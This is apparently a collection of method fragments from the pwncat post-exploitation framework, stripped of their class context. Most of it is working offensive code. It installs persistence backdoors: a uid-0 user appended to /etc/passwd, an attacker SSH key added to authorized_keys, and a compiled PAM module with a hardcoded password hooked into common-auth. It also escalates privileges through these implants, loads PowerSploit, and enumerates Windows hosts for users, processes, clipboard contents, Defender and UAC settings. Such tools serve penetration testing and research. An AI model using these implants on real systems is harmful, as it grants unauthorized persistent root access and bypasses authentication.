def enumerate(self, session: "pwncat.manager.Session"): """Yield WindowsGroup objects""" try: groups = session.platform.powershell("Get-LocalGroup") if not groups: raise ModuleFailed("no groups returned from Get-LocalGroup") except PowershellError as exc: raise ModuleFailed(str(exc)) from exc for group in groups[0]: try: members = session.platform.powershell( f"Get-LocalGroupMember {group['Name']}") if members: members = ([m["SID"] for m in members[0]] if isinstance( members[0], list) else [members[0]["SID"]["Value"]]) except PowershellError: members = [] yield WindowsGroup( source=self.name, name=group["Name"], gid=group["SID"], description=group["Description"], principal_source=group["PrincipalSource"], members=members, )
def enumerate(self, session): registry_value = "AlwaysInstallElevated" registry_keys = [ "HKCU:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\", "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\", ] for registry_key in registry_keys: try: result = session.platform.powershell( f"Get-ItemPropertyValue {registry_key} -Name {registry_value}" ) if not result: raise ModuleFailed( f"failed to retrieve registry value {registry_value}") status = bool(result[0]) except PowershellError as exc: if "does not exist" in exc.message: status = bool(0) # default else: raise ModuleFailed( f"could not retrieve registry value {registry_value}: {exc}" ) from exc if registry_key.startswith("HKCU"): yield AlwaysInstallElevatedData(self.name, status, "current user") else: yield AlwaysInstallElevatedData(self.name, status, "local machine")
def escalate(self, session: "pwncat.manager.Session"): """Escalate to the owner of this private key with a local ssh call""" if not self.authorized: raise ModuleFailed("key is not authorized or failed") if session.platform.which("ssh") is None: raise ModuleFailed("no local ssh binary") current_user = session.current_user() user = session.find_user(uid=self.uid) # Upload the private key with session.platform.tempfile(suffix="", mode="w") as dest: privkey_path = dest.name dest.write(self.content) # Set permissions on private key session.platform.chown(privkey_path, current_user.id, current_user.gid) session.platform.chmod(privkey_path, 0o600) # Execute SSH proc = session.platform.Popen( [ "ssh", "-i", privkey_path, "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no", "-o", "ChallengeResponseAuthentication=no", f"{user.name}@localhost", ], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, ) # Wait a second to see if there's an error from ssh time.sleep(1) if proc.poll() is not None: self.authorized = False self.types.remove("implant.replace") self.types.remove("implant.remote") session.db.transaction_manager.commit() raise ModuleFailed( f"ssh to localhost failed w/ exit code {proc.returncode}") # Detach the popen object proc.detach() return lambda session: session.platform.channel.send(b"exit\n")
def escalate(self, session: "pwncat.manager.Session"): try: with session.platform.open("/etc/passwd", "r") as filp: passwd_contents = list(filp) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to read /etc/passwd") backdoor_user = session.config.get("backdoor_user", "pwncat") backdoor_pass = session.config.get("backdoor_pass", "pwncat") shell = session.platform.getenv("SHELL") # Hash the backdoor password backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512) if not any( line.startswith(f"{backdoor_user}:") for line in passwd_contents): # Add our password "".join(passwd_contents) new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n""" passwd_contents.append(new_line) try: # Write the modified password entry back with self.ability.open(session, "/etc/passwd", "w") as filp: filp.writelines(passwd_contents) # Ensure we track the tampered file session.register_fact( PasswdImplant( "linux.implant.passwd", backdoor_user, backdoor_pass, new_line, )) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to write /etc/passwd") else: console.log( f"[cyan]{backdoor_user}[/cyan] already exists; attempting authentication" ) try: session.platform.su(backdoor_user, password=backdoor_pass) return lambda session: session.platform.channel.send(b"exit\n") except PermissionError: raise ModuleFailed("added user, but switch user failed")
def remove(self, session: "pwncat.manager.Session"): """Remove the installed implant""" if session.current_user().id != 0: raise ModuleFailed( "root permissions required to remove pam module") config_path = session.platform.Path("/etc/pam.d") # Remove the configuration files for config in self.configs: try: with (config_path / config).open("r") as filp: contents = filp.readlines() with (config_path / config).open("w") as filp: filp.writelines(line for line in contents if line != self.line) except (PermissionError, FileNotFoundError): continue # Remove the module try: session.platform.unlink(self.module_path) except FileNotFoundError: pass # Track the log file separately now session.register_fact(CreatedFile(self.source, 0, self.log))
def escalate(self, session: "pwncat.manager.Session"): """Escalate to root with the pam implant""" try: session.platform.su("root", password=self.password) except (PermissionError, PlatformError) as exc: raise ModuleFailed(str(exc)) from exc
def kill(self, session): """Attempt to kill the process""" try: session.platform.powershell(f"(Get-Process -Id {self.pid}).Kill()") except PowershellError as exc: raise ModuleFailed(f"failed to kill process {self.pid}") from exc
def revert(self, session: "pwncat.manager.Session"): if self.data is None: raise ModuleFailed("original data not preserved") current_uid = session.platform.getuid() if current_uid != self.uid: target_user = session.find_user(uid=self.uid) raise ModuleFailed( f"incorrect permission (need: {target_user.name})") # Re-write the original data to the file with session.platform.open(self.path, "wb") as filp: filp.write(self.data) self.reverted = True
def revert(self, session: "pwncat.manager.Session"): """Attempt to revert the tamper through the given session. :param session: the session on which to operate :type session: pwncat.manager.Session """ raise ModuleFailed("not reverable")
def enumerate(self, session): try: result = session.platform.powershell( "Get-ChildItem env:\\ | Select Name,Value") if not result: raise ModuleFailed("failed to retrieve env: PSDrive") environment = result[0] except PowershellError as exc: raise ModuleFailed("failed to retrieve env: PSDrive") from exc for pair in environment: yield EnvironmentData(self.name, pair["Name"], pair["Value"])
def revert(self, session: "pwncat.manager.Session"): try: session.platform.Path(self.path).rmdir() except PermissionError: raise ModuleFailed("permission error") self.reverted = True
def escalate(self, session: "pwncat.manager.Session"): """Escalate privileges to the fake root account""" try: session.platform.su(self.user, password=self.password) return lambda session: session.platform.channel.send(b"exit\n") except PermissionError: raise ModuleFailed(f"authentication as {self.user} failed")
def remove(self, session: "pwncat.manager.Session"): """Remove the added line""" if session.platform.getuid() != 0: raise ModuleFailed("removal requires root privileges") try: with session.platform.open("/etc/passwd", "r") as filp: passwd_contents = [line for line in filp if line != self.added_line] except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to read /etc/passwd") try: with session.platform.open("/etc/passwd", "w") as filp: filp.writelines(passwd_contents) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to write /etc/passwd")
def install( self, session: "pwncat.manager.Session", backdoor_user, backdoor_pass, shell, ): """Add the new user""" if session.current_user().id != 0: raise ModuleFailed("installation required root privileges") if shell == "current": shell = session.platform.getenv("SHELL") if shell is None: shell = "/bin/sh" try: yield Status("reading passwd contents") with session.platform.open("/etc/passwd", "r") as filp: passwd_contents = list(filp) except (FileNotFoundError, PermissionError): raise ModuleFailed("faild to read /etc/passwd") # Hash the password yield Status("hashing password") backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512) # Store the new line we are adding new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n""" # Add the new line passwd_contents.append(new_line) try: # Write the new contents yield Status("patching /etc/passwd") with session.platform.open("/etc/passwd", "w") as filp: filp.writelines(passwd_contents) # Return an implant tracker return PasswdImplant(self.name, backdoor_user, backdoor_pass, new_line) except (FileNotFoundError, PermissionError): raise ModuleFailed("failed to write /etc/passwd")
def enumerate(self, session): if not session.platform.is_admin(): session.log( "[yellow]protections warning[/yellow]: not all Defender data can be received without admin privileges" ) try: result = session.platform.powershell("Get-MpPreference", depth=5) # session.print(result[0]) if not result: raise ModuleFailed("could not retrieve Get-MpPreference") yield DefenderData(self.name, result[0]) except PowershellError as exc: raise ModuleFailed( f"could not retrieve Get-MpPreference: {exc}") from exc
def revert(self, session: "pwncat.manager.Session"): try: session.platform.Path(self.path).unlink() except FileNotFoundError: pass except PermissionError: raise ModuleFailed("permission error") self.reverted = True
def enumerate(self, session: "pwncat.manager.Session"): query_system_info = """ function query_sysinfo { $os_info = (Get-CimInstance Win32_operatingsystem) $hostname = [System.Net.Dns]::GetHostName() [PsCustomObject]@{ HostName = $hostname; BuildNumber = $os_info.BuildNumber; BuildType = $os_info.BuildType; CountryCode = $os_info.CountryCode; TimeZone = $os_info.CurrentTimeZone; DEP = [PsCustomObject]@{ Available = $os_info.DataExecutionPrevention_Available; Available32 = $os_info.DataExecutionPrevention_32bitApplications; Drivers = $os_info.DataExecutionPrevention_Drivers; SupportPolicy = $os_info.DataExecutionPrevention_SupportPolicy; }; Debug = $os_info.Debug; Description = $os_info.Description; InstallDate = $os_info.InstallDate; LastBootUpTime = $os_info.LastBootUpTime; Name = $os_info.Name; Architecture = $os_info.OSArchitecture; Language = $os_info.OSLanguage; Suite = $os_info.OSProductSuite; Type = $os_info.OSType; ServicePackMajor = $os_info.ServicePackMajorVersion; ServicePackMinor = $os_info.ServicePackMinorVersion; Version = $os_info.Version; } } query_sysinfo """.replace("query_sysinfo", random_string(8)) try: info = session.platform.powershell(query_system_info)[0] except PowershellError as exc: raise ModuleFailed(f"failed to load sysinfo function: {exc}") yield DistroVersionData( self.name, info["Name"].split("|")[0], info["BuildType"], info["BuildNumber"], info["Version"], ) yield HostnameData(self.name, info["HostName"]) yield ArchData(self.name, info["Architecture"])
def trigger(self, manager: "pwncat.manager.Manager", target: "pwncat.target.Target"): """Connect remotely to this target with the specified user and key""" if not self.authorized: raise ModuleFailed("key is not authorized or failed") # Find the user for this UID for fact in target.facts: if "user" in fact.types and fact.id == self.uid: user = fact break else: raise ModuleFailed(f"unknown username for uid={self.uid}") with tempfile.NamedTemporaryFile("w") as filp: filp.write(self.content) filp.flush() pathlib.Path(filp.name).chmod(0o600) try: # Connect via SSH session = manager.create_session( "linux", host=target.public_address[0], user=user.name, identity=filp.name, ) except ChannelError as exc: manager.log( f"[yellow]warning[/yellow]: {self.source} implant failed; removing implant types." ) self.authorized = False self.types.remove("implant.remote") self.types.remove("implant.replace") raise ModuleFailed(str(exc)) from exc return session
def remove(self, session: "pwncat.manager.Session"): """Normal private key facts don't remove the key, but we need to. In this case the fact is removed as well, unlike a standard private key fact.""" current_user = session.current_user() user = session.find_user(uid=self.uid) if current_user.id != self.uid and current_user.id != 0: raise ModuleFailed(f"must be root or {user.name}") # Ensure the directory exists homedir = session.platform.Path(user.home) if not (homedir / ".ssh").is_dir(): return authkeys_path = homedir / ".ssh" / "authorized_keys" if not authkeys_path.is_file(): return try: with authkeys_path.open("r") as filp: authkeys = [ line for line in filp.readlines() if line != self.pubkey ] except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc try: with authkeys_path.open("w") as filp: filp.writelines(authkeys) except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc # Fix permissions (in case the file was replaced by the above write) session.platform.chown(str(authkeys_path), user.id, user.gid) authkeys_path.chmod(0o600)
def enumerate(self, session): # Reference: # https://book.hacktricks.xyz/windows/authentication-credentials-uac-and-efs#uac registry_key = ( "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" ) registry_values = { "EnableLUA": bool, "ConsentPromptBehaviorAdmin": int, "LocalAccountTokenFilterPolicy": bool, "FilterAdministratorToken": bool, } for registry_value, registry_type in registry_values.items(): try: result = session.platform.powershell( f"Get-ItemPropertyValue {registry_key} -Name {registry_value}" ) if not result: raise ModuleFailed( f"failed to retrieve registry value {registry_value}") registry_values[registry_value] = registry_type(result[0]) except PowershellError as exc: if "does not exist" in exc.message: registry_values[registry_value] = registry_type(0) else: raise ModuleFailed( f"could not retrieve registry value {registry_value}: {exc}" ) from exc yield UACData(self.name, registry_values)
def enumerate(self, session): registry_value = "RunAsPPL" registry_key = "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\LSA" try: result = session.platform.powershell( f"Get-ItemPropertyValue {registry_key} -Name {registry_value}") if not result: raise ModuleFailed( f"failed to retrieve registry value {registry_value}") status = bool(result[0]) except PowershellError as exc: if "does not exist" in exc.message: status = bool(0) # default else: raise ModuleFailed( f"could not retrieve registry value {registry_value}: {exc}" ) from exc yield LSAProtectionData(self.name, status)
def enumerate(self, session): try: program_files = session.platform.powershell( 'Get-ChildItem "C:\\Program Files","C:\\Program Files (x86)" -ErrorAction SilentlyContinue | Select Fullname' )[0] if not isinstance(program_files, list): program_files = [program_files] for path in program_files: yield InstalledProgramData(self.name, path["FullName"]) except (PowershellError, IndexError) as exc: raise ModuleFailed( f"failed to list program file directories: {exc}") from exc
def enumerate(self, session): try: result = session.platform.powershell("Get-Clipboard") if not result: return if isinstance(result[0], list) and result: contents = "\n".join(result[0]) else: contents = result[0] except PowershellError as exc: raise ModuleFailed( "failed to retrieve clipboard contents") from exc yield ClipboardData(self.name, contents)
def enumerate(self, session): script = """ Get-WmiObject -Class Win32_Process | % { [PSCustomObject]@{ commandline=$_.CommandLine; description=$_.Description; path=$_.ExecutablePath; state=$_.ExecutionState; handle=$_.Handle; name=$_.Name; id=$_.ProcessId; session=$_.SessionId; owner=$_.GetOwnerSid().Sid; } } """ try: yield Status("requesting process list...") processes = session.platform.powershell(script)[0] except (IndexError, PowershellError) as exc: raise ModuleFailed(f"failed to get running processes: {exc}") for proc in processes: yield ProcessData( source=self.name, name=proc["name"], pid=proc["id"], session=proc.get("session"), owner=proc["owner"], state=proc["state"], commandline=proc["commandline"], path=proc["path"], handle=proc["handle"], )
def run(self, session: "pwncat.manager.Session", group: str): # Use the result system so that other modules can query available groups if group == "list": yield from (GroupInfo(name) for name in self.MODULES.keys()) return # Ensure the user selected a valid group if group not in self.MODULES: raise ModuleFailed(f"no such PowerSploit module: {group}") # Iterate over all sources in the group for url in self.MODULES[group]: yield Status(f"loading {url.split('/')[-1]}") path = pkg_resources.resource_filename( "pwncat", os.path.join("data/PowerSploit", url)) try: # Attempt to load the script in the PowerShell context. session.run("manage.powershell.import", path=path) except PowershellError as exc: # We failed, but continue loading other scripts. Just let the user know. session.log(f"while loading {url.split('/')[-1]}: {str(exc)}")
def run(self, session, remove, escalate): """Perform the requested action""" if (not remove and not escalate) or (remove and escalate): raise ModuleFailed("expected one of escalate or remove") # Look for matching implants implants = list( implant for implant in session.run("enumerate", types=["implant.*"]) if not escalate or "implant.replace" in implant.types or "implant.spawn" in implant.types) try: session._progress.stop() console.print("Found the following implants:") for i, implant in enumerate(implants): console.print(f"{i+1}. {implant.title(session)}") if remove: prompt = "Which should we remove (e.g. '1 2 4', default: all)? " elif escalate: prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? " while True: selections = Prompt.ask(prompt, console=console) if selections == "": break try: implant_ids = [int(idx.strip()) for idx in selections] # Filter the implants implants: List[Implant] = [ implants[i - 1] for i in implant_ids ] break except (IndexError, ValueError): console.print("[red]error[/red]: invalid selection!") finally: session._progress.start() nremoved = 0 for implant in implants: if remove: try: yield Status(f"removing: {implant.title(session)}") implant.remove(session) session.target.facts.remove(implant) nremoved += 1 except KeepImplantFact: # Remove implant types but leave the fact implant.types.remove("implant.remote") implant.types.remove("implant.replace") implant.types.remove("implant.spawn") nremoved += 1 except ModuleFailed: session.log( f"[red]error[/red]: removal failed: {implant.title(session)}" ) elif escalate: try: yield Status( f"attempting escalation with: {implant.title(session)}" ) result = implant.escalate(session) if "implant.spawn" in implant.types: # Move to the newly established session session.manager.target = result else: # Track the new shell layer in the current session session.layers.append(result) session.platform.refresh_uid() session.log( f"escalation [green]succeeded[/green] with: {implant.title(session)}" ) break except ModuleFailed: continue else: if escalate: raise ModuleFailed( "no working local escalation implants found") if nremoved: session.log(f"removed {nremoved} implants from target") # Save database modifications session.db.transaction_manager.commit()
def install(self, session: "pwncat.manager.Session", user, key): yield Status("verifying user permissions") current_user = session.current_user() if user != "__pwncat_current__" and current_user.id != 0: raise ModuleFailed( "only root can install implants for other users") if not os.path.isfile(key): raise ModuleFailed(f"private key {key} does not exist") try: yield Status("reading public key") with open(key + ".pub", "r") as filp: pubkey = filp.read().rstrip("\n") + "\n" except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc # Parse user name (default is current user) if user == "__pwncat_current__": user_info = current_user else: user_info = session.find_user(name=user) # Ensure the user exists if user_info is None: raise ModuleFailed(f"user [blue]{user}[/blue] does not exist") # Ensure we haven't already installed for this user for implant in session.run("enumerate", types=["implant.*"]): if implant.source == self.name and implant.uid == user_info.uid: raise ModuleFailed( f"{self.name} already installed for {user_info.name}") # Ensure the directory exists yield Status("locating authorized keys") homedir = session.platform.Path(user_info.home) if not (homedir / ".ssh").is_dir(): (homedir / ".ssh").mkdir(parents=True, exist_ok=True) authkeys_path = homedir / ".ssh" / "authorized_keys" if authkeys_path.is_file(): try: yield Status("reading authorized keys") with authkeys_path.open("r") as filp: authkeys = filp.readlines() except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc else: authkeys = [] # Add the public key to authorized keys authkeys.append(pubkey) try: yield Status("patching authorized keys") with authkeys_path.open("w") as filp: filp.writelines(authkeys) except (FileNotFoundError, PermissionError) as exc: raise ModuleFailed(str(exc)) from exc # Ensure correct permissions yield Status("fixing authorized keys permissions") session.platform.chown(str(authkeys_path), user_info.id, user_info.gid) authkeys_path.chmod(0o600) return AuthorizedKeyImplant(self.name, user_info, key, pubkey)
def install(self, session: "pwncat.manager.Session", password, log): """install the pam module""" if session.current_user().id != 0: raise ModuleFailed( "root permissions required to install pam module") if any(i.source == self.name for i in session.run("enumerate", types=["implant.replace"])): raise ModuleFailed( "only one pam implant may be installed at a time") yield Status("loading pam module source code") with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp: sneaky_source = filp.read() yield Status("checking selinux state") for selinux in session.run("enumerate", types=["system.selinux"]): if selinux.enabled and "enforc" in selinux.mode: raise ModuleFailed("selinux enabled in enforce mode") elif selinux.enabled: session.log( "[yellow]warning[/yellow]: selinux is enabled; implant will be logged!" ) # Hash the backdoor password and prepare for source injection password_hash = ",".join( hex(c) for c in hashlib.sha1(password.encode("utf-8")).digest()) yield Status("patching module source code") # Inject password hash into source code sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash) # Inject log path sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log) try: yield Status("compiling pam module") lib_path = session.platform.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (PlatformError, NotImplementedError) as exc: raise ModuleFailed(str(exc)) from exc try: yield Status("locating pam modules... ") result = session.platform.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'", shell=True, capture_output=True, text=True, check=True, ) pam_location = session.platform.Path( result.stdout.strip().split("\n")[0]).parent except CalledProcessError as exc: try: session.platform.run(["rm", "-f", lib_path], check=True) except CalledProcessError: session.register_fact( CreatedFile(source=self.name, uid=0, path=lib_path)) raise ModuleFailed( "failed to locate pam installation location") from exc yield Status("copying pam module") session.platform.run( ["mv", lib_path, str(pam_location / "pam_succeed.so")]) added_line = "auth\tsufficient\tpam_succeed.so\n" modified_configs = [] config_path = session.platform.Path("/", "etc", "pam.d") yield Status("patching pam configuration: ") for config in ["common-auth"]: yield Status(f"patching pam configuration: {config}") try: with (config_path / config).open("r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue any("pam_rootok" in line for line in content) for i, line in enumerate(content): if "pam_rootok" in line: content.insert(i + 1, added_line) break elif line.startswith("auth"): content.insert(i, added_line) break else: content.append(added_line) try: with (config_path / config).open("w") as filp: filp.writelines(content) modified_configs.append(config) except (PermissionError, FileNotFoundError): continue if not modified_configs: (pam_location / "pam_succeed.so").unlink() raise ModuleFailed("failed to add module to configuration") return PamImplant( self.name, password, log, str(pam_location / "pam_succeed.so"), modified_configs, added_line, )
def run(self, session: "pwncat.manager.Session", output, template, fmt, custom): """Perform enumeration and optionally write report""" if custom: env = jinja2.Environment( loader=jinja2.FileSystemLoader(os.getcwd()), # autoescape=jinja2.select_autoescape(["md", "html"]), trim_blocks=True, lstrip_blocks=True, ) else: env = jinja2.Environment( loader=jinja2.PackageLoader("pwncat", "data/reports"), # autoescape=jinja2.select_autoescape(["md", "html"]), trim_blocks=True, lstrip_blocks=True, ) if template == "platform name": use_platform = True template = session.platform.name else: use_platform = False env.filters["first_or_none"] = lambda thing: thing[0 ] if thing else None env.filters["attr_or"] = ( lambda fact, name, default=None: getattr(fact, name) if fact is not None else default) env.filters["title_or_unknown"] = ( lambda fact: strip_markup(fact.title(session)) if fact is not None else "unknown") env.filters["remove_rich"] = lambda thing: strip_markup(str(thing)) env.filters["table"] = self.generate_markdown_table try: template = env.get_template(f"{template}.{fmt}") except jinja2.TemplateNotFound as exc: if use_platform: try: template = env.get_template(f"generic.{fmt}") except jinja2.TemplateNotFound as exc: raise ModuleFailed(str(exc)) from exc else: raise ModuleFailed(str(exc)) from exc # Just some convenience things for the templates context = { "target": session.target, "manager": session.manager, "session": session, "platform": session.platform, "datetime": datetime.datetime.now(), } try: if output != "terminal": with open(output, "w") as filp: template.stream(context).dump(filp) else: markdown = Markdown(template.render(context), hyperlinks=False) console.print(markdown) except jinja2.TemplateError as exc: raise ModuleFailed(str(exc)) from exc
def enumerate(self, session: "pwncat.manager.Session"): try: users = session.platform.powershell("Get-LocalUser") if not users: raise ModuleFailed("no users returned from Get-Localuser") except PowershellError as exc: raise ModuleFailed(str(exc)) from exc users = users[0] for user in users: yield WindowsUser( source=self.name, name=user["Name"], uid=user["SID"], account_expires=None, description=user["Description"], enabled=user["Enabled"], full_name=user["FullName"], password_changeable_date=None, password_expires=None, user_may_change_password=user["UserMayChangePassword"], password_required=user["PasswordRequired"], password_last_set=None, last_logon=None, principal_source=user["PrincipalSource"], ) well_known = { "S-1-0-0": "NULL AUTHORITY\\NOBODY", "S-1-1-0": "WORLD AUTHORITY\\Everyone", "S-1-2-0": "LOCAL AUTHORITY\\Local", "S-1-3-0": "CREATOR AUTHORITY\\Creator Owner", "S-1-3-1": "CREATOR AUTHORITY\\Creator Group", "S-1-3-4": "CREATOR AUTHORITY\\Owner Rights", "S-1-4": "NONUNIQUE AUTHORITY", "S-1-5-1": "NT AUTHORITY\\DIALUP", "S-1-5-2": "NT AUTHORITY\\NETWORK", "S-1-5-3": "NT AUTHORITY\\BATCH", "S-1-5-4": "NT AUTHORITY\\INTERACTIVE", "S-1-5-6": "NT AUTHORITY\\SERVICE", "S-1-5-7": "NT AUTHORITY\\ANONYMOUS", "S-1-5-9": "NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS", "S-1-5-10": "NT AUTHORITY\\PRINCIPAL SELF", "S-1-5-11": "NT AUTHORITY\\AUTHENTICATED USERS", "S-1-5-12": "NT AUTHORITY\\RESTRICTED CODE", "S-1-5-13": "NT AUTHORITY\\TERMINAL SERVER USERS", "S-1-5-14": "NT AUTHORITY\\REMOTE INTERACTIVE LOGON", "S-1-5-17": "NT AUTHORITY\\IUSR", "S-1-5-18": "NT AUTHORITY\\SYSTEM", "S-1-5-19": "NT AUTHORITY\\LOCAL SERVICE", "S-1-5-20": "NT AUTHORITY\\NETWORK SERVICE", } for sid, name in well_known.items(): yield WindowsUser( source=self.name, name=name, uid=sid, account_expires=None, description=None, enabled=True, full_name=name, password_changeable_date=None, password_expires=None, user_may_change_password=None, password_required=None, password_last_set=None, last_logon=None, principal_source="well known sid", well_known=True, )